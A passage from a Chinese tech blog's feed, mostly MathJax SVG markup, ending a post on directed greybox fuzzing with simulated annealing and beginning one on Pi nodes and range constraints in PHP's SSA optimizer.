326Z"></path></g><g data-mml-node="mo" transform="translate(427,584) translate(-250 0)"><path data-c="7E" d="M179 251Q164 251 151 245T131 234T111 215L97 227L83 238Q83 239 95 253T121 283T142 304Q165 318 187 318T253 300T320 282Q335 282 348 288T368 299T388 318L402 306L416 295Q375 236 344 222Q330 215 313 215Q292 215 248 233T179 251Z"></path></g></g></g><g data-mml-node="mo" transform="translate(520,0)"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path></g><g data-mml-node="mi" transform="translate(909,0)"><path data-c="1D460" d="M131 289Q131 321 147 354T203 415T300 442Q362 442 390 415T419 355Q419 323 402 308T364 292Q351 292 340 300T328 326Q328 342 337 354T354 372T367 378Q368 378 368 379Q368 382 361 388T336 399T297 405Q249 405 227 379T204 326Q204 301 223 291T278 274T330 259Q396 230 396 163Q396 135 385 107T352 51T289 7T195 -10Q118 -10 86 19T53 87Q53 126 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94 103T155 350Q156 355 156 364Q156 405 131 405Q109 405 94 377T71 316T59 280Q57 278 43 278H29Q23 284 23 287ZM178 102Q200 26 252 26Q282 26 310 49T356 107Q374 141 392 215T411 325V331Q411 405 350 405Q339 405 328 402T306 393T286 380T269 365T254 350T243 336T235 326L232 322Q232 321 229 308T218 264T204 212Q178 106 178 102Z"></path></g></g></g></g></g></svg></mjx-container></span>的变化</p><figure><img src="https://www.m4p1e.com/images/image-20210517230709412.png" alt="energy under different seed"><figcaption aria-hidden="true">energy under different seed</figcaption></figure><p>这里很奇怪，<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.186ex" xmlns="http://www.w3.org/2000/svg" width="5.325ex" height="2.452ex" role="img" focusable="false" viewBox="0 -1002 2353.6 1084"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="TeXAtom" data-mjx-texclass="ORD"><g data-mml-node="mover"><g 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31 433 22Q429 4 424 1L422 0Q419 0 415 0Q410 0 363 1T228 2Q99 2 64 0H49Q43 6 43 9T45 27Q49 40 55 46H83H94Q174 46 189 55Q190 56 191 56Q196 59 201 76T241 233Q258 301 269 344Q339 619 339 625Q339 630 310 630H279Q212 630 191 624Q146 614 121 583T67 467Q60 445 57 441T43 437H40Z"></path></g><g data-mml-node="TeXAtom" transform="translate(617,-150) scale(0.707)" data-mjx-texclass="ORD"><g data-mml-node="mi"><path data-c="1D452" d="M39 168Q39 225 58 272T107 350T174 402T244 433T307 442H310Q355 442 388 420T421 355Q421 265 310 237Q261 224 176 223Q139 223 138 221Q138 219 132 186T125 128Q125 81 146 54T209 26T302 45T394 111Q403 121 406 121Q410 121 419 112T429 98T420 82T390 55T344 24T281 -1T205 -11Q126 -11 83 42T39 168ZM373 353Q367 405 305 405Q272 405 244 391T199 357T170 316T154 280T149 261Q149 260 169 260Q282 260 327 284T373 353Z"></path></g><g data-mml-node="mi" transform="translate(466,0)"><path data-c="1D465" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 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-192 -24 -194H-32Q-39 -187 -39 -183Q-37 -156 -26 -148H-6Q28 -147 33 -136Q36 -130 94 103T155 350Q156 355 156 364Q156 405 131 405Q109 405 94 377T71 316T59 280Q57 278 43 278H29Q23 284 23 287ZM178 102Q200 26 252 26Q282 26 310 49T356 107Q374 141 392 215T411 325V331Q411 405 350 405Q339 405 328 402T306 393T286 380T269 365T254 350T243 336T235 326L232 322Q232 321 229 308T218 264T204 212Q178 106 178 102Z"></path></g></g></g><g data-mml-node="mo" transform="translate(4977.3,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g></g></g></svg></mjx-container></span>最终无论是随着时间或者种子距离都会其随着时间的增加而趋于稳定，这一点是至关重要的。有了R-value function <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.439ex" xmlns="http://www.w3.org/2000/svg" width="1.138ex" height="1.439ex" role="img" focusable="false" viewBox="0 -442 503 636"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D45D" d="M23 287Q24 290 25 295T30 317T40 348T55 381T75 411T101 433T134 442Q209 442 230 378L240 387Q302 442 358 442Q423 442 460 395T497 281Q497 173 421 82T249 -10Q227 -10 210 -4Q199 1 187 11T168 28L161 36Q160 35 139 -51T118 -138Q118 -144 126 -145T163 -148H188Q194 -155 194 -157T191 -175Q188 -187 185 -190T172 -194Q170 -194 161 -194T127 -193T65 -192Q-5 -192 -24 -194H-32Q-39 -187 -39 -183Q-37 -156 -26 -148H-6Q28 -147 33 -136Q36 -130 94 103T155 350Q156 355 156 364Q156 405 131 405Q109 405 94 377T71 316T59 280Q57 278 43 278H29Q23 284 23 287ZM178 102Q200 26 252 26Q282 26 310 49T356 107Q374 141 392 215T411 325V331Q411 405 350 405Q339 405 328 402T306 393T286 380T269 365T254 350T243 336T235 326L232 322Q232 321 229 308T218 264T204 212Q178 106 178 102Z"></path></g></g></g></svg></mjx-container></span>来model种子对应的能量，那么理想模拟退火的下一步是描述解是如何移动的，即model 如何接受新解？ 其过程可能通过<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: 0" xmlns="http://www.w3.org/2000/svg" width="3.613ex" height="1.62ex" role="img" focusable="false" viewBox="0 -716 1597 716"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="394" d="M51 0Q46 4 46 7Q46 9 215 357T388 709Q391 716 416 716Q439 716 444 709Q447 705 616 357T786 7Q786 4 781 0H51ZM507 344L384 596L137 92L383 91H630Q630 93 507 344Z"></path></g><g data-mml-node="mi" transform="translate(833,0)"><path data-c="1D438" d="M492 213Q472 213 472 226Q472 230 477 250T482 285Q482 316 461 323T364 330H312Q311 328 277 192T243 52Q243 48 254 48T334 46Q428 46 458 48T518 61Q567 77 599 117T670 248Q680 270 683 272Q690 274 698 274Q718 274 718 261Q613 7 608 2Q605 0 322 0H133Q31 0 31 11Q31 13 34 25Q38 41 42 43T65 46Q92 46 125 49Q139 52 144 61Q146 66 215 342T285 622Q285 629 281 629Q273 632 228 634H197Q191 640 191 642T193 659Q197 676 203 680H757Q764 676 764 669Q764 664 751 557T737 447Q735 440 717 440H705Q698 445 698 453L701 476Q704 500 704 528Q704 558 697 578T678 609T643 625T596 632T532 634H485Q397 633 392 631Q388 629 386 622Q385 619 355 499T324 377Q347 376 372 376H398Q464 376 489 391T534 472Q538 488 540 490T557 493Q562 493 565 493T570 492T572 491T574 487T577 483L544 351Q511 218 508 216Q505 213 492 213Z"></path></g></g></g></svg></mjx-container></span>和<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: 0" xmlns="http://www.w3.org/2000/svg" width="1.593ex" height="1.532ex" role="img" focusable="false" viewBox="0 -677 704 677"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D447" d="M40 437Q21 437 21 445Q21 450 37 501T71 602L88 651Q93 669 101 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data-mml-node="math"><g data-mml-node="mi"><path data-c="1D45D" d="M23 287Q24 290 25 295T30 317T40 348T55 381T75 411T101 433T134 442Q209 442 230 378L240 387Q302 442 358 442Q423 442 460 395T497 281Q497 173 421 82T249 -10Q227 -10 210 -4Q199 1 187 11T168 28L161 36Q160 35 139 -51T118 -138Q118 -144 126 -145T163 -148H188Q194 -155 194 -157T191 -175Q188 -187 185 -190T172 -194Q170 -194 161 -194T127 -193T65 -192Q-5 -192 -24 -194H-32Q-39 -187 -39 -183Q-37 -156 -26 -148H-6Q28 -147 33 -136Q36 -130 94 103T155 350Q156 355 156 364Q156 405 131 405Q109 405 94 377T71 316T59 280Q57 278 43 278H29Q23 284 23 287ZM178 102Q200 26 252 26Q282 26 310 49T356 107Q374 141 392 215T411 325V331Q411 405 350 405Q339 405 328 402T306 393T286 380T269 365T254 350T243 336T235 326L232 322Q232 321 229 308T218 264T204 212Q178 106 178 102Z"></path></g></g></g></svg></mjx-container></span>进行二次调参，其过程如下 <span class="math display"><mjx-container class="MathJax" jax="SVG" display="true"><svg style="vertical-align: -0.8ex" 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比较详细和科学的模拟退火介绍</li></ol>]]></content>
    
    
      
      
    <summary type="html">&lt;h3 id=&quot;directed-greybox-fuzzing&quot;&gt;Directed Greybox Fuzzing&lt;/h3&gt;
&lt;p&gt;https://acmccs.github.io/papers/p2329-bohmeAemb.pdf&lt;/p&gt;
&lt;h4 id=&quot;x00-用一句话描</summary>
      
    
    
    
    <category term="paper" scheme="https://m4p1e.com/categories/paper/"/>
    
    
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    <title>php optimizer about ssa</title>
    <link href="https://m4p1e.com/2021/05/05/php-optimizer-about-ssa/"/>
    <id>https://m4p1e.com/2021/05/05/php-optimizer-about-ssa/</id>
    <published>2021-05-05T14:01:00.000Z</published>
    <updated>2021-11-08T16:20:59.622Z</updated>
    
    <content type="html"><![CDATA[<h4 id="x01-e-ssa-pis">0x01 e-SSA Pis</h4><p>在SSA我们经常能听见Phi，那么什么是Pi呢？，Pi就是一个特殊的Phi，它有range和constraint.，例如：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">if($a&gt;5){</span><br><span class="line">$a = pi($a) &gt; 5</span><br><span class="line">//..</span><br><span class="line">}</span><br><span class="line">$a = phi($a) &lt;= 5 ???</span><br></pre></td></tr></table></figure><p>在路径条件的约束下，转头去执行不同路径分支时，某些变量就自动的满足了约束，但是有些情况我们是可以确定的，比如插入的第一个pi，但是第二个的phi的约束不一定完全正确，因为if分支可能影响<code>$a</code>的值。</p><p>php里面只考虑条件分支影响下的局部约束，记录一下几种特殊的约束法则的应用。</p><ul><li><code>$a &gt; 5</code> 很显然的约束</li><li><code>$a + 5  == 0</code> 这里可以做一个变换 <code>$a = 0 - 5</code> ,分两种情况讨论即<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.667ex" xmlns="http://www.w3.org/2000/svg" width="5.208ex" height="2.199ex" role="img" focusable="false" viewBox="0 -677 2301.8 972"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="mi"><path data-c="1D447" d="M40 437Q21 437 21 445Q21 450 37 501T71 602L88 651Q93 669 101 677H569H659Q691 677 697 676T704 667Q704 661 687 553T668 444Q668 437 649 437Q640 437 637 437T631 442L629 445Q629 451 635 490T641 551Q641 586 628 604T573 629Q568 630 515 631Q469 631 457 630T439 622Q438 621 368 343T298 60Q298 48 386 46Q418 46 427 45T436 36Q436 31 433 22Q429 4 424 1L422 0Q419 0 415 0Q410 0 363 1T228 2Q99 2 64 0H49Q43 6 43 9T45 27Q49 40 55 46H83H94Q174 46 189 55Q190 56 191 56Q196 59 201 76T241 233Q258 301 269 344Q339 619 339 625Q339 630 310 630H279Q212 630 191 624Q146 614 121 583T67 467Q60 445 57 441T43 437H40Z"></path></g><g data-mml-node="TeXAtom" transform="translate(617,-150) scale(0.707)" data-mjx-texclass="ORD"><g data-mml-node="mi"><path data-c="1D453" d="M118 -162Q120 -162 124 -164T135 -167T147 -168Q160 -168 171 -155T187 -126Q197 -99 221 27T267 267T289 382V385H242Q195 385 192 387Q188 390 188 397L195 425Q197 430 203 430T250 431Q298 431 298 432Q298 434 307 482T319 540Q356 705 465 705Q502 703 526 683T550 630Q550 594 529 578T487 561Q443 561 443 603Q443 622 454 636T478 657L487 662Q471 668 457 668Q445 668 434 658T419 630Q412 601 403 552T387 469T380 433Q380 431 435 431Q480 431 487 430T498 424Q499 420 496 407T491 391Q489 386 482 386T428 385H372L349 263Q301 15 282 -47Q255 -132 212 -173Q175 -205 139 -205Q107 -205 81 -186T55 -132Q55 -95 76 -78T118 -61Q162 -61 162 -103Q162 -122 151 -136T127 -157L118 -162Z"></path></g><g data-mml-node="mi" transform="translate(550,0)"><path data-c="1D44E" d="M33 157Q33 258 109 349T280 441Q331 441 370 392Q386 422 416 422Q429 422 439 414T449 394Q449 381 412 234T374 68Q374 43 381 35T402 26Q411 27 422 35Q443 55 463 131Q469 151 473 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147 354T203 415T300 442Q362 442 390 415T419 355Q419 323 402 308T364 292Q351 292 340 300T328 326Q328 342 337 354T354 372T367 378Q368 378 368 379Q368 382 361 388T336 399T297 405Q249 405 227 379T204 326Q204 301 223 291T278 274T330 259Q396 230 396 163Q396 135 385 107T352 51T289 7T195 -10Q118 -10 86 19T53 87Q53 126 74 143T118 160Q133 160 146 151T160 120Q160 94 142 76T111 58Q109 57 108 57T107 55Q108 52 115 47T146 34T201 27Q237 27 263 38T301 66T318 97T323 122Q323 150 302 164T254 181T195 196T148 231Q131 256 131 289Z"></path></g><g data-mml-node="mi" transform="translate(1846,0)"><path data-c="1D452" d="M39 168Q39 225 58 272T107 350T174 402T244 433T307 442H310Q355 442 388 420T421 355Q421 265 310 237Q261 224 176 223Q139 223 138 221Q138 219 132 186T125 128Q125 81 146 54T209 26T302 45T394 111Q403 121 406 121Q410 121 419 112T429 98T420 82T390 55T344 24T281 -1T205 -11Q126 -11 83 42T39 168ZM373 353Q367 405 305 405Q272 405 244 391T199 357T170 316T154 280T149 261Q149 260 169 260Q282 260 327 284T373 353Z"></path></g></g></g></g></g></svg></mjx-container></span>和<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.357ex" xmlns="http://www.w3.org/2000/svg" width="4.469ex" height="1.889ex" role="img" focusable="false" viewBox="0 -677 1975.1 834.8"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="mi"><path data-c="1D447" d="M40 437Q21 437 21 445Q21 450 37 501T71 602L88 651Q93 669 101 677H569H659Q691 677 697 676T704 667Q704 661 687 553T668 444Q668 437 649 437Q640 437 637 437T631 442L629 445Q629 451 635 490T641 551Q641 586 628 604T573 629Q568 630 515 631Q469 631 457 630T439 622Q438 621 368 343T298 60Q298 48 386 46Q418 46 427 45T436 36Q436 31 433 22Q429 4 424 1L422 0Q419 0 415 0Q410 0 363 1T228 2Q99 2 64 0H49Q43 6 43 9T45 27Q49 40 55 46H83H94Q174 46 189 55Q190 56 191 56Q196 59 201 76T241 233Q258 301 269 344Q339 619 339 625Q339 630 310 630H279Q212 630 191 624Q146 614 121 583T67 467Q60 445 57 441T43 437H40Z"></path></g><g data-mml-node="TeXAtom" transform="translate(617,-150) scale(0.707)" data-mjx-texclass="ORD"><g data-mml-node="mi"><path data-c="1D461" d="M26 385Q19 392 19 395Q19 399 22 411T27 425Q29 430 36 430T87 431H140L159 511Q162 522 166 540T173 566T179 586T187 603T197 615T211 624T229 626Q247 625 254 615T261 596Q261 589 252 549T232 470L222 433Q222 431 272 431H323Q330 424 330 420Q330 398 317 385H210L174 240Q135 80 135 68Q135 26 162 26Q197 26 230 60T283 144Q285 150 288 151T303 153H307Q322 153 322 145Q322 142 319 133Q314 117 301 95T267 48T216 6T155 -11Q125 -11 98 4T59 56Q57 64 57 83V101L92 241Q127 382 128 383Q128 385 77 385H26Z"></path></g><g data-mml-node="mi" transform="translate(361,0)"><path data-c="1D45F" d="M21 287Q22 290 23 295T28 317T38 348T53 381T73 411T99 433T132 442Q161 442 183 430T214 408T225 388Q227 382 228 382T236 389Q284 441 347 441H350Q398 441 422 400Q430 381 430 363Q430 333 417 315T391 292T366 288Q346 288 334 299T322 328Q322 376 378 392Q356 405 342 405Q286 405 239 331Q229 315 224 298T190 165Q156 25 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 114 189T154 366Q154 405 128 405Q107 405 92 377T68 316T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mi" transform="translate(812,0)"><path data-c="1D462" d="M21 287Q21 295 30 318T55 370T99 420T158 442Q204 442 227 417T250 358Q250 340 216 246T182 105Q182 62 196 45T238 27T291 44T328 78L339 95Q341 99 377 247Q407 367 413 387T427 416Q444 431 463 431Q480 431 488 421T496 402L420 84Q419 79 419 68Q419 43 426 35T447 26Q469 29 482 57T512 145Q514 153 532 153Q551 153 551 144Q550 139 549 130T540 98T523 55T498 17T462 -8Q454 -10 438 -10Q372 -10 347 46Q345 45 336 36T318 21T296 6T267 -6T233 -11Q189 -11 155 7Q103 38 103 113Q103 170 138 262T173 379Q173 380 173 381Q173 390 173 393T169 400T158 404H154Q131 404 112 385T82 344T65 302T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mi" transform="translate(1384,0)"><path data-c="1D452" d="M39 168Q39 225 58 272T107 350T174 402T244 433T307 442H310Q355 442 388 420T421 355Q421 265 310 237Q261 224 176 223Q139 223 138 221Q138 219 132 186T125 128Q125 81 146 54T209 26T302 45T394 111Q403 121 406 121Q410 121 419 112T429 98T420 82T390 55T344 24T281 -1T205 -11Q126 -11 83 42T39 168ZM373 353Q367 405 305 405Q272 405 244 391T199 357T170 316T154 280T149 261Q149 260 169 260Q282 260 327 284T373 353Z"></path></g></g></g></g></g></svg></mjx-container></span></li><li><code>$a + 5 == $b +6</code> 同样这里也可以做变换 <code>$a = $b+((-5)-(-6))</code>和<code>$a+((-6)-(-5)) = $b</code>. 这里的range除了constant还有其他变量的依赖. 这里为什么要写成上述的形式，我是按照php里面的计算方式来的，他会有一个操作数的adjustment，比如上面equal的RHS操作数的adjustment就是-5. 同理LHS操作数的adjustment是-6. 最后需要把<code>$a</code>和<code>$b</code>都单独表示表示出来，就需要adjustment之间做一下运算了.</li></ul><p>上述提到的只是php中关于range的特殊约定格式，你也可以写出自己独特的约定。局部约束真的还是挺优雅的。</p><p>考虑几种情况不需要插<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="1.29ex" height="1ex" role="img" focusable="false" viewBox="0 -431 570 442"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D70B" d="M132 -11Q98 -11 98 22V33L111 61Q186 219 220 334L228 358H196Q158 358 142 355T103 336Q92 329 81 318T62 297T53 285Q51 284 38 284Q19 284 19 294Q19 300 38 329T93 391T164 429Q171 431 389 431Q549 431 553 430Q573 423 573 402Q573 371 541 360Q535 358 472 358H408L405 341Q393 269 393 222Q393 170 402 129T421 65T431 37Q431 20 417 5T381 -10Q370 -10 363 -7T347 17T331 77Q330 86 330 121Q330 170 339 226T357 318T367 358H269L268 354Q268 351 249 275T206 114T175 17Q164 -11 132 -11Z"></path></g></g></g></svg></mjx-container></span></p><ol type="1"><li><p>变量在target位置并不活跃，只用了一次，后面就不用了，我们在target位置插入一个<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="1.29ex" height="1ex" role="img" focusable="false" viewBox="0 -431 570 442"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D70B" d="M132 -11Q98 -11 98 22V33L111 61Q186 219 220 334L228 358H196Q158 358 142 355T103 336Q92 329 81 318T62 297T53 285Q51 284 38 284Q19 284 19 294Q19 300 38 329T93 391T164 429Q171 431 389 431Q549 431 553 430Q573 423 573 402Q573 371 541 360Q535 358 472 358H408L405 341Q393 269 393 222Q393 170 402 129T421 65T431 37Q431 20 417 5T381 -10Q370 -10 363 -7T347 17T331 77Q330 86 330 121Q330 170 339 226T357 318T367 358H269L268 354Q268 351 249 275T206 114T175 17Q164 -11 132 -11Z"></path></g></g></g></svg></mjx-container></span>,没有什么意义.</p></li><li><p><span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="1.29ex" height="1ex" role="img" focusable="false" viewBox="0 -431 570 442"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D70B" d="M132 -11Q98 -11 98 22V33L111 61Q186 219 220 334L228 358H196Q158 358 142 355T103 336Q92 329 81 318T62 297T53 285Q51 284 38 284Q19 284 19 294Q19 300 38 329T93 391T164 429Q171 431 389 431Q549 431 553 430Q573 423 573 402Q573 371 541 360Q535 358 472 358H408L405 341Q393 269 393 222Q393 170 402 129T421 65T431 37Q431 20 417 5T381 -10Q370 -10 363 -7T347 17T331 77Q330 86 330 121Q330 170 339 226T357 318T367 358H269L268 354Q268 351 249 275T206 114T175 17Q164 -11 132 -11Z"></path></g></g></g></svg></mjx-container></span>依赖于incoming edge,如果有两条相同的incoming edge就不插，这是什么意思呢？ 两条相同的incoming edge会无法区分pi是属于哪条edge. 但是我好奇什么时候会导致有两条相同的incoming edge，真奇怪？</p></li><li><p>还有一种非常特殊的情况，首先给一个definition: incoming edge定义为从'from'到'to'，我们需要在to这里插入pi，我们考虑插入的pi目的是在to这里添加constraint，给我们后面的分析带来一些便利，但是可能你添加constraint是冗余的，举个例子</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$a</span> = <span class="variable">$b</span>??<span class="variable">$c</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">*1: T1 = ZEND_COALESCE $b,3</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">*2: T1 = QM_ASSIGN $c</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">*3: ASSIGN $a,T1</span></span><br><span class="line"><span class="comment">*/</span></span><br></pre></td></tr></table></figure><p>这里有3行opcode对应了三个blocks，第1行这里是可以尝试给第3行这里添加一个pi的，因为如果从第1行跳到第3行，那么<code>$b</code>肯定不是null. 自然地我们可以在第3行这里添加一个pi断言<code>$b</code>不是null. 但是这没有意义，因为如果执行了第2行，那么第3行这里<code>$b</code>又是一个null，相当于之前添加的那个pi没有任何effort在这里起作用，即<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.186ex" xmlns="http://www.w3.org/2000/svg" width="16.097ex" height="1.805ex" role="img" focusable="false" viewBox="0 -716 7115 798"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mo"><path data-c="21" d="M78 661Q78 682 96 699T138 716T180 700T199 661Q199 654 179 432T158 206Q156 198 139 198Q121 198 119 206Q118 209 98 431T78 661ZM79 61Q79 89 97 105T141 121Q164 119 181 104T198 61Q198 31 181 16T139 1Q114 1 97 16T79 61Z"></path></g><g data-mml-node="mtext" transform="translate(278,0)"><path data-c="6E" d="M41 46H55Q94 46 102 60V68Q102 77 102 91T102 122T103 161T103 203Q103 234 103 269T102 328V351Q99 370 88 376T43 385H25V408Q25 431 27 431L37 432Q47 433 65 434T102 436Q119 437 138 438T167 441T178 442H181V402Q181 364 182 364T187 369T199 384T218 402T247 421T285 437Q305 442 336 442Q450 438 463 329Q464 322 464 190V104Q464 66 466 59T477 49Q498 46 526 46H542V0H534L510 1Q487 2 460 2T422 3Q319 3 310 0H302V46H318Q379 46 379 62Q380 64 380 200Q379 335 378 343Q372 371 358 385T334 402T308 404Q263 404 229 370Q202 343 195 315T187 232V168V108Q187 78 188 68T191 55T200 49Q221 46 249 46H265V0H257L234 1Q210 2 183 2T145 3Q42 3 33 0H25V46H41Z"></path><path data-c="75" d="M383 58Q327 -10 256 -10H249Q124 -10 105 89Q104 96 103 226Q102 335 102 348T96 369Q86 385 36 385H25V408Q25 431 27 431L38 432Q48 433 67 434T105 436Q122 437 142 438T172 441T184 442H187V261Q188 77 190 64Q193 49 204 40Q224 26 264 26Q290 26 311 35T343 58T363 90T375 120T379 144Q379 145 379 161T380 201T380 248V315Q380 361 370 372T320 385H302V431Q304 431 378 436T457 442H464V264Q464 84 465 81Q468 61 479 55T524 46H542V0Q540 0 467 -5T390 -11H383V58Z" transform="translate(556,0)"></path><path data-c="6C" d="M42 46H56Q95 46 103 60V68Q103 77 103 91T103 124T104 167T104 217T104 272T104 329Q104 366 104 407T104 482T104 542T103 586T103 603Q100 622 89 628T44 637H26V660Q26 683 28 683L38 684Q48 685 67 686T104 688Q121 689 141 690T171 693T182 694H185V379Q185 62 186 60Q190 52 198 49Q219 46 247 46H263V0H255L232 1Q209 2 183 2T145 3T107 3T57 1L34 0H26V46H42Z" transform="translate(1112,0)"></path><path data-c="6C" d="M42 46H56Q95 46 103 60V68Q103 77 103 91T103 124T104 167T104 217T104 272T104 329Q104 366 104 407T104 482T104 542T103 586T103 603Q100 622 89 628T44 637H26V660Q26 683 28 683L38 684Q48 685 67 686T104 688Q121 689 141 690T171 693T182 694H185V379Q185 62 186 60Q190 52 198 49Q219 46 247 46H263V0H255L232 1Q209 2 183 2T145 3T107 3T57 1L34 0H26V46H42Z" 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385H25V408Q25 431 27 431L37 432Q47 433 65 434T102 436Q119 437 138 438T167 441T178 442H181V402Q181 364 182 364T187 369T199 384T218 402T247 421T285 437Q305 442 336 442Q450 438 463 329Q464 322 464 190V104Q464 66 466 59T477 49Q498 46 526 46H542V0H534L510 1Q487 2 460 2T422 3Q319 3 310 0H302V46H318Q379 46 379 62Q380 64 380 200Q379 335 378 343Q372 371 358 385T334 402T308 404Q263 404 229 370Q202 343 195 315T187 232V168V108Q187 78 188 68T191 55T200 49Q221 46 249 46H265V0H257L234 1Q210 2 183 2T145 3Q42 3 33 0H25V46H41Z"></path><path data-c="75" d="M383 58Q327 -10 256 -10H249Q124 -10 105 89Q104 96 103 226Q102 335 102 348T96 369Q86 385 36 385H25V408Q25 431 27 431L38 432Q48 433 67 434T105 436Q122 437 142 438T172 441T184 442H187V261Q188 77 190 64Q193 49 204 40Q224 26 264 26Q290 26 311 35T343 58T363 90T375 120T379 144Q379 145 379 161T380 201T380 248V315Q380 361 370 372T320 385H302V431Q304 431 378 436T457 442H464V264Q464 84 465 81Q468 61 479 55T524 46H542V0Q540 0 467 -5T390 -11H383V58Z" transform="translate(556,0)"></path><path data-c="6C" d="M42 46H56Q95 46 103 60V68Q103 77 103 91T103 124T104 167T104 217T104 272T104 329Q104 366 104 407T104 482T104 542T103 586T103 603Q100 622 89 628T44 637H26V660Q26 683 28 683L38 684Q48 685 67 686T104 688Q121 689 141 690T171 693T182 694H185V379Q185 62 186 60Q190 52 198 49Q219 46 247 46H263V0H255L232 1Q209 2 183 2T145 3T107 3T57 1L34 0H26V46H42Z" transform="translate(1112,0)"></path><path data-c="6C" d="M42 46H56Q95 46 103 60V68Q103 77 103 91T103 124T104 167T104 217T104 272T104 329Q104 366 104 407T104 482T104 542T103 586T103 603Q100 622 89 628T44 637H26V660Q26 683 28 683L38 684Q48 685 67 686T104 688Q121 689 141 690T171 693T182 694H185V379Q185 62 186 60Q190 52 198 49Q219 46 247 46H263V0H255L232 1Q209 2 183 2T145 3T107 3T57 1L34 0H26V46H42Z" transform="translate(1390,0)"></path></g><g data-mml-node="mo" transform="translate(5281.2,0)"><path data-c="3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z"></path></g><g data-mml-node="mi" transform="translate(6337,0)"><path data-c="22A4" d="M55 642T55 648T59 659T66 666T71 668H708Q723 660 723 648T708 628H409V15Q402 2 391 0Q387 0 384 1T379 3T375 6T373 9T371 13T369 16V628H71Q70 628 67 630T59 637Z"></path></g></g></g></svg></mjx-container></span>. 我们对<code>$b</code>是什么还是一无所知.</p><p><strong>所以我们需要识别可能某个opcode造成的两种互斥的约束是否会merge</strong>，如果互斥的值同时可能流到to上，那我们去添加pi几乎没有任何意义的，幸运是，当前php的control flow相关的opcode都只有两个successors，所以我们可能不用考虑多个互斥的值同时作用.</p><p>所以我们现在需要考虑from另外的successor(除了from到to的这条edge)，我们记为other. 那么具体的问题是<strong>other到to是否有一条路径，并且这条路上，<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="1.29ex" height="1ex" role="img" focusable="false" viewBox="0 -431 570 442"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D70B" d="M132 -11Q98 -11 98 22V33L111 61Q186 219 220 334L228 358H196Q158 358 142 355T103 336Q92 329 81 318T62 297T53 285Q51 284 38 284Q19 284 19 294Q19 300 38 329T93 391T164 429Q171 431 389 431Q549 431 553 430Q573 423 573 402Q573 371 541 360Q535 358 472 358H408L405 341Q393 269 393 222Q393 170 402 129T421 65T431 37Q431 20 417 5T381 -10Q370 -10 363 -7T347 17T331 77Q330 86 330 121Q330 170 339 226T357 318T367 358H269L268 354Q268 351 249 275T206 114T175 17Q164 